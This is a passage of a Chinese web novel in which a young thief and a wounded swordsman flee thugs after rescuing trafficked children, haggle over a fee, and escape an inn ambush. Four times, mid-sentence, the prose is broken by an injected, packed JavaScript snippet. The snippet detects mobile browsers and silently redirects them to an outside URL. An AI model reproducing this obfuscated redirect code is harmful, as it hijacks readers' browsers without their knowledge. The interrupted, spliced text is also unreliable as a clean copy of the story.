马车里的大箱子都空了,只有一个里面还躺着一个小孩。 她已经没了呼吸。 贺岁愉刚刚看到的箱子底部渗出来的血,就是从她身上流出来的,她褴褛的衣衫早已被鲜血染尽,箱子的底板上静静地躺着一滩红到发黑的液体。 小女孩闭着眼睛,蜷缩在箱底,像睡着了一样,只是手里仍然紧紧握着锋利的碎瓷片。 贺岁愉不知道,她这样做,是因为无法忍受折磨、心灰意冷而自杀,还是想要借此留下记号想要向他人求救,争取活下来的渺茫机会。 不过这些都不重要了。 没人会在乎一个已经死去的小女孩生前的想法。 毕竟,在这样的时代,连人命都是没人在乎的。 贺岁愉深吸一口气,最后一个跳下了马车。 她回头一望,赵九重几乎快成了一个血人,上半身已经彻底叫鲜血浸透。 “跑!”她冲赵九重大喊,“快跑!” 说罢,她就往巷子口跑。 赵九重一脚踹飞最后一个扑上来的人,拔腿就往外跑。 他一边跑,一边吹了个响亮的口哨。 在雾气迷蒙的清晨,哨声传得格外远。 很快,巷子外响起了清脆的马蹄声。 贺岁愉抬头一看,是赵九重那匹马来了。 赤色的马鬃在寒风中飘扬,威风凛凛。 赵九重动作快得像一尾游鱼,跨步上前,飞身上马,一气呵成,不知道这个动作做过多少遍才能如此熟练。 “手给我!”他着急地喊道。 身后的人追得很紧,贺岁愉的心狂跳,耳中一片嗡鸣,在一片喧嚣与混乱中,下意识递出了自己的手。 赵九重神色果决坚定,紧紧抓住了她,然后,一把将她拉了上去。 - 天蒙蒙亮, “哒哒”的马蹄声在寂静的街道上急促地响着,一声接着一声,杂糅在一起,贺岁愉耳中只能听到混乱模糊的声音,就像她此刻的心情一样。 她坐在赵九重前面,迎面的寒风直往她嘴里灌。 贺岁愉还没有从刚刚的千钧一发的时刻回过神来。 她刚刚死里逃生。 好一会儿,贺岁愉出走的意识才回来,她的衣衫单薄,被寒风吹得瑟瑟发抖,感觉到后背上贴着灼热粘稠的东西。 她下意识摸了一把,摸到了一手湿漉漉的鲜红。 她心中大骇。 想起刚刚的凶险情形,她的心脏仍然跳得有些快。 一路狂奔,穿过一条又一条街道,终于,他们甩开了那群人。 赵九重选了一处僻静人少的地方停下来。 刚停下,赵九重身子一歪,险些从马上跌下去。 贺岁愉吓了一跳,连忙抓了他一把,“诶你——” 赵九重顿时清醒过来。 他摇了摇脑袋,驱赶因为失血过多而导致的困倦和沉重。 身上的伤口痛得他龇牙咧嘴,在寒风中,他艰难地开口,嗓音都哑了几分,“好了,下去吧。” 贺岁愉闻言,便从马上跳下去,第一次骑马不太适应,落地时还差点儿摔一跤。 赵九重也忍着痛,翻身下马。 贺岁愉打量着四周,她没来过这地方。 “这是哪儿?”她问。 “不知道。” “嗯?”贺岁愉大惊,费解道,“你不知道你把我带来这儿做什么?” 赵九重痛得倒吸一口凉气,“哪顾得了这许多,先保住命吧。” 他背过身去,随手撕开身上的衣服,撕成布条,将一端咬在嘴里,替自己身上最大、流血最多的那个伤口包扎。 贺岁愉听到撕开衣服的声音有点疑惑,转头看了一眼,见他是在包扎,于是摸了摸鼻子,又转了回去。 “今天这样的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977649|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你救了也没用,这样的乱世,他们活不下去的。”贺岁愉抿了抿唇,还是决定口下留德,补了一句,“即便能活下去,也十不存一。” 赵九重给自己包扎时,一不留神下手有些重,戳到正在流血的伤口上,痛得“嘶——”了一声。 听到贺岁愉的话,他头也不抬,语气十分坚定地说:“那也要救,十不存一要救,活不下去也要救,只要我看见了,我就要救。” 贺岁愉怔了一下。 很快,她回过神来,抱着胳膊,冷哼一声,语气有点嘲讽:“不过饮鸩止渴,屁用没有!” 赵九重闻言,回头瞥了她一眼,“你读过书?” 贺岁愉顿时警惕心起,又树起了浑身的尖刺,“跟你有什么关系?” 赵九重对她的恶劣态度不放在心上,笑了笑说:“随口问一句而已。” 说完了,他话锋一转,语气难辨:“你告诉我那条巷子里的那些情况,不也是希望我救他们吗?” 他声音低低的,仿佛只是随口在说一件微不足道的小事,就像在说“今天的天气很好”一样。 “谁说的?”贺岁愉眸光慌乱一瞬,当即否认,“你少胡乱揣测!” 赵九重哼笑一声,没再说话。 贺岁愉以为他已经放过了这个话题,不会再追问下去,松了一口气。 岂料,他挪了挪地方,选了一个舒服的姿势靠在墙上,忽然又开口道:“你不是已经走了,为什么又回来?” 贺岁愉一愣。 这个问题,她没想过。 她自己好像也不知道,为什么会鬼使神差地跑回去。 可能是因为离开的一路上,脑子里一直都是在巷子口听到的小孩哭声,那滴血的箱子也在她脑海中反复重现,搅得她烦躁不已,一时热血上头跑了回去。 但当理智恢复时,她方才所做的一切,并不是她自己乐于见到的。 乱世,最忌心软。 她抿了抿唇,不客气地说:“哪有那么多为什么,你少管我!” “男子汉大丈夫,敢做不敢当?”赵九重挑眉,“而且这是好事,有什么不敢承认的?” “你话多死了!”贺岁愉抄起地上一块石头狠狠朝他砸过去,“你家住海边啊?你管那么宽!” 赵九重被她突如其来的攻击吓了一跳,幸好他反应够快,一偏头躲过去了,不然还真叫贺岁愉扔的石头砸个正着。 “诶!我这还受着伤呢!这流血流得人都快不行了,你还拿石头砸我?”他一脸不可思议道。 贺岁愉站起身来,狠狠瞪了他一眼,“砸的就是你!” “你少说两句,血还流得慢点,话这么多,生怕自己死得不够快。”她骂骂咧咧地走开了,去查看周围的情况。 赵九重见她走远,失力地倚在墙角,胸口随着呼吸起起伏伏,眼皮也越来越沉重,全靠他的意志力撑着。 终于,他眼前渐渐黑了…… 贺岁愉转了一圈回来,紧绷的身体终于放松了一点。 一低头,看见赵九重躺在墙角闭着眼睛,贺岁愉吓了一跳,毫不犹豫上前踢了他一脚,“你别是死了吧?” 9. 酬金 赵九重从黑暗中惊醒。 他慌乱地睁开眼睛,对上了贺岁愉挑衅十足的眼神。 赵九重:“……” 他一不留神,牵动身上的伤口,痛得倒吸一口凉气,缓了好一会儿,他才充满无奈地叹息一声,“暂时还死不了。” 贺岁愉冷冰冰地“哦”了一声,语气不无遗憾:“那真让人失望。” 赵九重:“……” “趁他们还没追上来,赶紧走。”贺岁愉干脆利落地说完,就要转身跑。 忽然,她又想起什么,转过头来。 “你把自己搞成这幅样子,不会没有办法善后吧?”贺岁愉打量着赵九重这副狼狈的模样,调侃意味十足地喊了一句,“赵大侠?” 赵九重脸色白得吓人,听到贺岁愉的调侃,不由得露出了一点笑。他光看贺岁愉的表情,便知道她此时心里在想些什么。对方简直要将看好戏和落井下石写在脸上了。 形势比人强,赵九重伤重至此,倒不像平日里那般嫉恶如仇、心高气傲了。 他如今无可奈何,只得遂了贺岁愉的愿,坦然承认:“的确是没有办法善后。” 贺岁愉冷哼一声。 他现在身受重伤,肯定是个大拖油瓶。 她绝不会再管他。 她鬼上身跑回巷子里给他帮忙,就已经坏了自己的规矩了。 “那你就在这儿自己呆着等死吧。”她转身欲溜。 赵九重在她身后不敢置信地大喊,“我们好歹一起历经生死,你就这么抛下,我自己一个人跑了?” “那不然呢?”贺岁愉语气无辜。 赵九重噎住,想开口又不知道从何说起,支支吾吾的,“你……你能不能送我去福来客栈?” 贺岁愉闻言,回过头来,语气像是惊讶,又像是疑惑,“你求我啊?” 赵九重“嗯”了一声,迫于现状无奈低头,声音沙哑低沉,还没苍蝇的叫声大,毫无血色的一张俊脸上,也没什么表情。 贺岁愉仿佛完全看不出对方的难为情,露出夸张的惊讶表情,“我没听错吧?赵少侠竟然有求于我?” 赵九重见她这幅小人得志的嘴脸,也难得的没有说什么,大概是伤势严重,没什么多余的力气生气,只半死不活地靠在墙角任她说。 贺岁愉趾高气昂地翻了个白眼,“我可没忘记,当初,您多管闲事抓我蹲大牢的时候有多神气啊。” 她摇头晃脑笑嘻嘻的,“我看啊,赵少侠您还是自己想办法吧,就别让我这个‘小贼’帮忙了。” 说罢,贺岁愉拔腿就跑。 刚刚那几句奚落说出口,她堵在胸口该出的气也顺畅了一点。现在,她得赶紧溜咯,早点跟这个姓赵的撇清关系,省的又要倒霉。 贺岁愉跑出了十几米远,赵九重看着那个背影,磨了磨牙。 他和她一起也经历了好几件事,大概摸清了一点贺岁愉的性子,压住心底的不虞,在她身后大喊:“若小兄弟能送我去福来客栈,在下必有重金酬谢!” 听到钱,贺岁愉的脚步一下子就顿住了。 她的确可耻地心动了。 只经历极短暂的一点犹豫,贺岁愉就将自己方才坚定“不管他”的想法抛诸脑后,转过身来,扬着下巴看向赵九重,先问了最重要的问题,“多少钱?” 赵九重颤颤巍巍伸出一根手指。 贺岁愉眼睛一亮,声音都拔高了,“一百两?” 赵九重:“……” 他眼角抽了抽,“你不如去抢。” 贺岁愉的语气有点儿恨铁不成钢,“我要是有你这身功夫,十个一百两我都抢回来了。” 赵九重:“……” 那这样说来,幸好没让她有这身功夫。 一百两的确有点夸张,贺岁愉摸着下巴,语气试探:“那……十两?” 赵九重僵了下,摇了摇食指。 贺岁愉眯了眯眼睛,释放出一点危险的信号,“一两银子?” 赵九重露出一点憨厚的笑容,揭晓了正确答案:“十个铜板。” 贺岁愉转身就走,完全不想多跟他再费口舌。 “诶你!”赵九重急得在她身后大喊,“十个铜板就不是钱了吗?” “你带着你的十个铜板在这儿好好歇着吧你!”贺岁愉一边大步朝前走,一边口中骂骂咧咧,“打扮得人摸狗样的,没想到这么扣?抠搜成这样,血流干都没人管你!到时候,就带着你的钱去地狱里花去吧!” 赵九重见她这回真要走了,这才急了,在她身后又喊:“一两银子,一两银子总行了吧?” 他刚刚已经看出来,一两银子是贺岁愉的底线。 他这次出来前,在爹娘面前立志,要靠自己的本事闯荡出一番事业,所以他出门时也并没有带太多银子,现下不敢大手大脚地花销,也需精打细算。 贺岁愉停住脚步,转过身来,“晚了,刚刚一两银子的价钱已经过去了。” “现在,”她伸出五根手指,“我要这个数。” “不行!”赵九重一口回绝,“此地应该距离福来客栈不远,你说的酬金,完全是狮子大开口。” 贺岁愉冷笑一声,刻薄道:“既然不远,那你就爬过去吧。” 赵九重脸色铁青,再不说话。 贺岁愉见他不说话,于是转过身,慢悠悠作势要走,余光中却在仔细观察赵九重,但这次他还真没有要挽留自己的样子。 她心中直嘀咕,看来还真是个穷鬼。 想起他说的那一两银子,就这么走了,她又有点舍不得。好世道没钱尚且寸步难行,如今这世道没钱更是活不下去。 她心里琢磨着,有一两银子赚也好,够她吃很久的饱饭了。 于是,她走了两步又转过身来,“我想了下,放你一个人在这里等死,我多少有点于心不忍,还是勉为其难救你一救,你拿二两银子出来,表示一二就好了。” 赵九重语气嘲讽地“呵”了一声,冷笑时牵动他胸前的伤口,痛得他又是倒吸一口冷气。 贺岁愉看着他,心里不大痛快,他这是什么意思! 赵九重露出一个别有深意的微笑,缓缓启唇:“不行,现在,我最多给到这个数。”说着,他缓缓伸出一根食指。 贺岁愉:“……” 抠死他算了。 一两银子说出一百两的口气,真是有脸啊。 她的拳头在袖中捏得死紧,恨不得朝他大喇喇裂开的伤口上再给他一拳。 失策了,刚刚应该稍微退一步,也许还能谈到二两银子的价钱。 为了多一点儿钱,她还是决定再挣扎一下。 “不行,一两银子太少了,那群人现在肯定在追杀你,我带你去福来客栈要担很大风险的,你必须得给我再加点儿钱。”贺岁愉语气坚定。 “首先,纠正你一个说法,那群人正在追杀的,不是我,”赵九重缓缓露出了一个迷人但是十分欠打的微笑,“而是我们。” “其次——”他顿了一下,语气十分坚定,“一个铜板都不加,你要是不愿意就算了,你这小身板扶我过去,想来,也不会比我自己爬过去快多少。” 赵九重和贺岁愉相处得久了,偶尔说话时,也学会了几分贺岁愉的刻薄。 顿了一下,是因为第一次说这么刻薄的话,他还不大适应。 贺岁愉眼睛“噌——”一下睁大了。 贺岁愉:“??? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977650|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 兄弟,你礼貌吗? 太气人了。 挑衅!这是莫大的挑衅! 贺岁愉恨得咬牙切齿,但是又不得不承认,对方说的是事实,那群人现在肯定以为她和赵九重是一伙儿的。 - 贺岁愉黑着脸走回来,走到墙边去扶他起来。 一上手,差点被对方带下去,险些一头撞在泥墙上。 “你吃秤砣长大的?”贺岁愉堪堪稳住自己的身体,不可思议地看着他,“你怎么这么重?” “男子汉大丈夫自该有强健的体魄,难不成像你这样长得跟小娘子一样,能有什么出息?”赵九重白着脸嗤一声。 自从贺岁愉见死不救,在酬金问题上与他反复拉扯之后,赵九重心口憋着一口没来头的气,即便伤成这个样子了,跟贺岁愉说话时,不知哪来的力气,就跟吃了炮仗一样。 贺岁愉听见他的话,抬起头看向他,露出一点诡异的微笑,“赵少侠,舍不得给我这一两银子,准备自己爬去福来客栈就直说。” 赵九重噎了一下。 知道对方潜台词是不准备帮他,不挣他这一两银子了。他摸不着贺岁愉是不是真的有这份骨气,于是悻悻闭上了嘴。 赵九重闭上了嘴,贺岁愉反而开始说了。 她忽然声音放大,厉声道:“你是死的啊?手不能抓着墙自己也使力往起来站吗?没看见我扶不动吗?” 赵九重被贺岁愉吼得一愣,下意识按照她说的做了。 做完了以后,站起来才反应过来不对劲,明明是她拿酬金接了活儿,但一个大男人力气小扶不动,怎么还反而成他这个伤患的问题了? 贺岁愉不知道是不是猜到了他在想什么,毫不客气地说:“你要点脸,就给一两银子,真把人当牛马了。” 她虽然也算是身形高挑,但还是比赵九重矮了大半个头,扶着赵九重,很是吃力,要这么一路搀扶到福来客栈,慢不说,累都能给她累死。 赵九重的马就在旁边,贺岁愉灵机一动,“你爬上马,我牵着马带你去福来客栈。” 赵九重上马的力气还是有的,只是眼前发黑得厉害,血流不止,头昏脑涨,随时都有可能会倒下去。 贺岁愉想了个法子,逼着赵九重又从他衣裳上扯下了几根布条,把它们系成一根长布条,变成了绳子,把赵九重绑在了马上。 如此滑稽的姿态,赵九重这种马上英雄一开始必然是不大情愿的,但是奈何贺岁愉态度强硬,他不得不从。 贺岁愉顿觉浑身轻畅,牵着马可比扶着赵九重轻松多了。 她怕赵九重昏过去,到时候扶他下马又得费大力气,于是主动和赵九重闲聊起来。 “你这马叫什么?” 赵九重被绑在马背上,回答:“麒麟。” “麒麟?取这么好的名字。”贺岁愉回头看了一眼,这匹马虽然生得高大,但是眼睛里透露出来清澈的愚蠢,贺岁愉忍不住语气怀疑地嘟囔,“这蠢马,它配吗?” 麒麟或许是听懂了贺岁愉的话,猛地从后面顶得贺岁愉一个趔趄,差点迎面摔在地上。 赵九重哈哈大笑起来,笑着笑着牵动了伤口,痛得“哎哟哎哟”叫唤起来。 贺岁愉咬牙切齿:“真是活该!” “活该?”赵九重重复了一遍她的话,明知故问,“你在说你还是说我?” 贺岁愉眯了眯眼睛,浑身散发着危险的气息,“姓赵的,你不想去福来客栈了是不是?” 赵九重不屑,小声说:“就知道威胁人。” “风水轮流转嘛,”贺岁愉露出一个假笑,语气不善地提醒他,“你可别忘了,你之前也老拿送我蹲大牢来威胁我。” 10. 出卖 贺岁愉在赵九重的指路下,一路上很幸运地没有撞见之前巷子里的那些人,没多久便到达了福来客栈。 时间还早,客栈没什么人。 掌柜的正在柜台后面拨算盘算账,珠子发出“噼里啪啦”的清脆声响。 店小二擦着桌子,无意间抬头,看见贺岁愉牵着一匹载着血人的马走到门口停下,惊讶地张大了嘴,“嚯——”了一声。 掌柜的抬起头来,看到赵九重吓了一跳,对贺岁愉赔了个笑脸,忙不迭说:“客官,我们客栈已经满了,还请客官上别家看看。” 贺岁愉:“……” 她还没说要住店呢。 这掌柜的如此避之不及,大概是怕姓赵的伤成这个样子,收下了,到时候死在他们客栈里。 赵九重听见掌柜的声音,抬起头来,喊了一声,“陈大哥。” 那掌柜的瞪大了眼睛,惊讶极了,“赵兄弟?” 掌柜的快步从柜台后面走出来,走到麒麟马旁边去查看赵九重的情况,关切地问:“赵兄弟,你怎么伤成这个样子了?” 一时间,他甚至顾不得赵九重身上把他五花大绑的布条,全部注意力都落在了赵九重的伤势上。 赵九重叹了口气,“说来话长,能不能请陈大哥行个方便,给我腾个房间?让我休整一番。” 掌柜看见赵九重的伤势,一时着急,下意识说:“赵兄弟何必如此客气?楼上就有空……” 话说到一半,又想起来刚刚给贺岁愉说的“客栈已经满了”,于是掌柜的看了贺岁愉一眼,不好意思地笑笑。 “还请赵兄弟和这位小哥见谅,我们这做小本生意的难免谨慎一些。” 贺岁愉:呵。 赵九重并不在乎此等小事,大度地说:“这是自然,小弟能理解,陈大哥不必放在心上。” “赵兄弟不生大哥的气就好,”掌柜的这才注意到赵九重身上的绳子,惊呼一声,“啊呀,这是谁将赵兄弟你绑成这个样子?” 赵九重反应过来自己如今趴在马上的狼狈模样,当即红了脸,正要控诉贺岁愉的罪行。 贺岁愉抢先,冷冷说:“没有这些布条,他早就跌下马摔死了。” 掌柜的摸摸鼻子,没再说话,动手给赵九重解绳子。 赵九重又道:“能不能麻烦店里的小哥跑一趟,帮我请个大夫来?” 掌柜的连连点头,“这是自然。” 说罢,掌柜的招手,让旁边已经看愣了的店小二赶紧去请隔壁那条街上的张大夫过来。 店小二听到掌柜的吩咐,赶紧扔下擦桌子的抹布跑了。 掌柜的将赵九重从马上扶了下来,正要扶他去楼上歇息。 贺岁愉站在他们前面挡住了路,朝赵九重伸出手。 掌柜的不解其意,“这是……” “酬金。”贺岁愉催促道,“赶紧的,别想耍赖。” 赵九重从袖子里摸出来一块碎银。 贺岁愉一把夺过去,“好了,这才是两清。” 说罢,她抛了抛手上的碎银,三两步跨出客栈大门,轻快地跑了。 “这……”掌柜的回过头看了一眼贺岁愉一溜烟跑走的背影,回想起她方才的态度,不由得与赵九重道,“此人未免太过蛮横无理了些。” 赵九重无奈摇了摇头。 - 贺岁愉拿着新到手的一两银子心里还算高兴,终于有钱吃饭了,而且还是靠正经手段拿到手的酬金。 “咕——咕——” 想到这里,她的肚子就响亮的叫了好几声。 昨夜跟着那姓赵的去王家后院偷马,早上又去巷子里救那群孩子,方才还走了那么远的路送姓赵的去福来客栈,贺岁愉早就饿了。 贺岁愉牵着马送姓赵的去福来客栈的路上,就已经想好了这一两银子要怎么花。 手里这一两银子,她准备先奖励自己一碗粟米饭,上次的肉包子给她留下的阴影还未散去,还是吃个没馅儿的比较稳妥。 然后,她要再给自己买身新的衣裳,身上这身衣服也就比街上的乞丐稍微强点儿,又脏又臭不说,还到处都是大大小小的口子,再穿几天就真的要衣不蔽体了。 贵的衣裳买不起,粗布麻衣的买一套,应该还能剩点儿钱。 贺岁愉的想法倒是美好,但是行至脚店,一问才知道,如今一碗粟米饭要二百钱。 贺岁愉恨得咬牙切齿,这价格和抢钱有什么区别? 她转身就走,决定还是买个素包子充饥,岂料,如今素包子又涨价了,四十文一个,还得先交钱再拿包子。 贺岁愉实在不想吃草根树皮了,纠结再三,忍痛递出了那块刚捂热的小碎银,盯着老板给她找了钱,然后,正要接过那个素包子时,忽然背后传来一道巨大的冲力。 “砰——” 贺岁愉被人摁倒在了包子铺门口。 包子铺的老板吓得包子都掉在了地上,反应过来以后,捡起包子就一溜烟缩到角落里去躲着了。 “小贼,可算是抓住你了!”身后一个难听的粗嘎声音传来。 贺岁愉回头一看,黑压压一片,是方才巷子里的那群人,里面有个刀疤脸,她记得很清楚。 她心里只有一个念头。 完了。 身后的人押着她,厉声质问:“说!你的同伙在哪里!” “各、各位好汉,你们是不是认错人了?小民哪里有什么同伙啊?”贺岁愉被按在地上,脸都被压变了形,说话吐字都格外艰难。 “还想抵赖?”那人一脚踩在贺岁愉的背上,力气大到几乎要把她的骨头踩碎。 贺岁愉连连痛呼,但是对方见她叫的这么惨,反而变本加厉,脚下用了更大的力气。 她发出刺耳的惨叫声,痛得冷汗都出来了。 她感觉自己真要死了。 这么踩下去,不死也得残。 不,她绝对不能为了那个姓赵的把自己搭进去。 “好汉饶命!”贺岁愉尖叫着喊道,“我说我说!” 对方这才哼笑一声,从她背上挪开脚。 贺岁愉终于感觉自己又活了过来,刚轻轻缓了一口气,就被人猛地一把拎起来,“带路!” 贺岁愉被对方掷得一个趔趄,“砰——”一声,又被对方的力道带着沿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977651|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一个方向结结实实摔在了地上,额头撞到了石块上,撞出了血,脸上被蹭破了皮,冻疮表面结的痂也被沙石刮掉,流出掺着黄白脓水的鲜血。 身后那一群人哈哈大笑起来,对着贺岁愉指指点点,“你看这软蛋的蠢样!” “这软脚虾连路都走不稳!还敢来劫老子的货!” 贺岁愉听着他们的讥笑与奚落,忍着背上钻心剜骨的剧痛,费力地从地上爬起来,额头的鲜血顺着脸颊流到眼睛里,刺的眼睛都睁不开,她抬起手胡乱擦了一把。 她刚站起来,就被人一把拎过去,“给老子快点!少他娘的磨蹭!” 贺岁愉眼前一片迷糊,看不清路,被他们推一把,又推一把,勉强稳住身体,跌跌撞撞往前走。 - 到了福来客栈, 掌柜的被贺岁愉满脸血的样子吓了一跳,本来看见贺岁愉回来,他心底还有些奇怪,接着,看到贺岁愉身后跟着的黑压压一大群人。 掌柜的心里咯噔一下。 他有些怨贺岁愉不讲义气,就这么出卖了赵兄弟,但是看见贺岁愉这副惨样,又知道也怪不得她,是这群人太过凶恶。 “他就住在这家客栈里。”嗓子本来就没好的贺岁愉经过刚刚那一番惨叫,现下声音沙哑得厉害。 身后的人把目光落在掌柜的身上,威胁道:“老东西,还不带路?” 掌柜的擦了擦额头上的冷汗,面前贺岁愉如此惨相,他也心有戚戚,看到对方亮出雪白锋利的大刀时,他再不敢拒绝,“这……这边请……” 贺岁愉往后退了两步,想借此机会偷溜,但是那伙人显然不想现在就放过她。 “软脚虾,别想跑,走前面一起带路。” 就这样,她又被一把推到了最前面,和掌柜的走在一起。 掌柜的走前面带路,领着乌泱泱一大群人上了二楼。 楼下稀稀拉拉有几个看热闹的店小二和客人,待那伙人被掌柜的领着上了楼以后,立刻议论纷纷起来。 有人还向店小二打探起情况,“你们店里这是什么情况?怎么惹到了这么厉害一群人物?” 有人啧啧两声,感慨:“刚刚走前面那个人,被打得真是惨啊。” 被问的那个店小二也是一头雾水,“小的也不知道啊。” 有一个店小二是早上被掌柜的吩咐去请大夫的,多少猜到了一点情况,恐怕是楼上赵少侠惹了事,本着明哲保身的道理,有客人问起来,也只装作不知。 - 楼上, 掌柜的领着他们走到了最里面的那间房间的门口,“各位好汉,就是这里。” 贺岁愉站在房间门口的一侧,听不到房间里有任何声音,安安静静一片,就像没有人一样。 她的心跳得很快,几乎要从她的胸腔里跳出来,衣服早已被冷汗浸湿,不知是因为太过疼痛而出的冷汗,还是因为她现下太过紧张。 她攥紧了袖中的拳头,指甲深深掐在手心里,让她嗡鸣一片的脑中能够有短暂的清醒。 那群人中,有人到了门口便按捺不住要冲进去,却被为首的人抬手制止了,“慢着——” 11. 送死 为首的那人知道赵九重有一身好功夫,提醒旁边的人,“小心有诈,别急着冲进去。” 说罢,他又压低声音逼迫掌柜的,“老东西,敲门。” 掌柜的颤巍巍抬起手,不轻不重地在门上敲了两下。 屋子里仍然静悄悄一片,没有一点回应。 那人眯了眯眼睛,语气中蕴藏着浓重的危险气息,“再敲。” 掌柜的再次抬起手,在门上敲了几下,仍然没有回应。 静悄悄一片。 屋子里没有任何声音传来,贺岁愉站在门口,只能听到身后大汉粗壮均匀的呼吸声。 她的心跳得厉害。 最开始迫不及待想冲进去那人语气暴躁,质问掌柜道:“老东西,你不是耍我们吧?” 掌柜的吓得脸都白了,连连辩解:“岂敢,岂敢啊?” “你去——”为首的人将目光投在了贺岁愉身上。 贺岁愉浑身一凛,猛地打了个哆嗦,甚至有一种被虎狼顶上的错觉。 贺岁愉在对方的逼迫下,慢慢走到了门口中间的位置,抬起手,在门上“笃笃笃——”敲了三下。 她的心仍然怦怦直跳,紧张极了。 这次要是仍然没有一丁点回应的话,那伙人大概真的会大发雷霆。 可惜,屋子里仍然悄无人声。 “划拉——”身后那群人中,有急脾气的人猛地抽出了刀,“好啊,你们两个联合起来骗我们是吧?” 掌柜的连连摆手,满头大汗地解释:“不不不,绝无此事,一定是屋子里的人睡着了,他刚刚喝了药,现下肯定是睡着了,我们如何敢哄骗好汉们呐!” 贺岁愉冷眼看着,心中嗤笑:方才这掌柜的不待见自己,觉得自己没义气出卖了姓赵的,现在他还不是没一点骨气。 “开门!”为首的人命令道。 掌柜的推开门。 贺岁愉被逼迫和掌柜的走在前面,率先踏进了这间房间。 那一伙人小心翼翼跟在后面,观察着四周的情况,警惕地走进房间里,看到躺在床上陷入昏迷的赵九重,悬着的心这才放下来。 “还真是睡着了。” “让我去了结了他!”有一个贼人兴致冲冲的说。 说着,他便大步朝床边冲了过去,剩下的这些人也迅速靠近,将赵九重围在了中间。 就在这千钧一发的时刻,床上双眼紧闭的人,忽然睁开了眼睛。 赵九重猛地从被窝里跳出来,大手一扬,一大片白色的粉末朝贼人们扑过来。 “小心迷药!”那为首的贼人率先反应过来,迅速屏住呼吸,捂住自己的口鼻,厉声提醒同伙们。 但是已然来不及了,其他的人一时大意,将这粉末吸进了口鼻中,顷刻间,纷纷倒地。 一直提心吊胆的贺岁愉眼前一亮,姓赵的原来早有准备,还算他聪明。 她知道,她求救的时刻来了。 她正要开口说什么,赵九重突然蹿向她,一把揪住她的衣领,带着她一起从窗户跳了下去。 贺岁愉根本来不及反应,尖叫一声,忍不住紧紧闭上了眼睛。 风像刀子一样从她的脸庞和耳畔刮过去,掀起她的黑发在空中飞扬,吹得她的衣袍猎猎作响。 贺岁愉感觉到,快落地的时候,有什么东西刮破了她的衣裳,刺痛皮肤,在她的胳膊上划出了伤口,但现下情况如此危急,也顾不得这些了。 再睁开眼时,她已经被赵九重带着平稳地落在了地上。 赵九重虽然多管闲事,且十分讨人厌,但贺岁愉不得不承认,这种关键的时刻,他还是颇为仗义的,没有抛下她一个人跑掉。 她的脑子嗡鸣一片,还没有从刚刚的混乱之中反应过来的时候,赵九重不知何时,已经骑在了那匹赤色大马上。 年轻英俊的青年骑在高头大马上,直直朝她冲过来。 贺岁愉瞳孔一震。 她万分惊恐地想:不是,这厮要撞死她吗? 赵九重的动作太过于突然,她根本来不及做出任何反应,只能呆呆地站在原地。 但是预想之中的疼痛并没有袭来,反而一只有力的大手一把拽起了她。 赵九重像上次那样,将她拉上了马,然后带着她从客栈后院的门口蹿出去,骑着马狂奔,一骑绝尘而去。 二楼上剩下没有被迷晕的人迅速反应过来,“他们跑了,快追!” 贺岁愉紧张得浑身冷汗没有干过,在寒风瑟瑟与风声呼啸中,她听到自己的心跳声,一声又一声,格外响亮。 - 在哒哒的马蹄声中,他们被疾奔的麒麟马载着,拼命地逃,片刻也不敢停息。 赵九重身上的伤口又崩裂开了,粘稠的鲜血从伤口上涌出来,沿着皮肤一直流到了马背上,染红了马的鬃毛。 赵九重喘得厉害,不知道是因为累的,还是因为伤口作痛。贺岁愉觉得,赵九重现在就像是一根紧绷着的弓弦,仿佛随时都有可能“嘣——”一声断开。 终于,他大概是已经撑到了极限,勒住了缰绳。 马蹄声戛然而止。 赵九重格外沙哑和低沉的声音在贺岁愉的头顶响起,“下去。” 贺岁愉以为他撑不住了,要休息一下。她很担心身后追着的贼人,本来想要劝说他再挺一挺,但是又想起自己领着贼人去了福来客栈的事,不由得心虚起来,根本不敢提要求了。 于是乖乖跳下去。 直到她下来以后,才发现赵九重并没有要下马的意思。 赵九重强撑着身体说:“趁那伙人还没追上来,你赶紧找个地方躲起来,别再被抓住了。” 贺岁愉疑惑一瞬,忽然脸色一变。 不是,姓赵的要抛下她啊!这绝对不行。 她立刻拦在了马前。 赵九重低头看向贺岁愉,皱着眉头:“你做什么?” 他脸色白得像纸一样,唇色也是苍白的,因为受重伤失血过多,刚刚包好的伤口也裂开了,此时他全凭着意志力在撑着。 贺岁愉也定定地回看他,毫不退却,“你不能抛下我!” 赵九重语气烦躁中夹杂着无奈,“我如今伤成这个样子,自身尚且难保,没办法带着你。” 贺岁愉格外坚定,“没关系,我愿意跟着你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 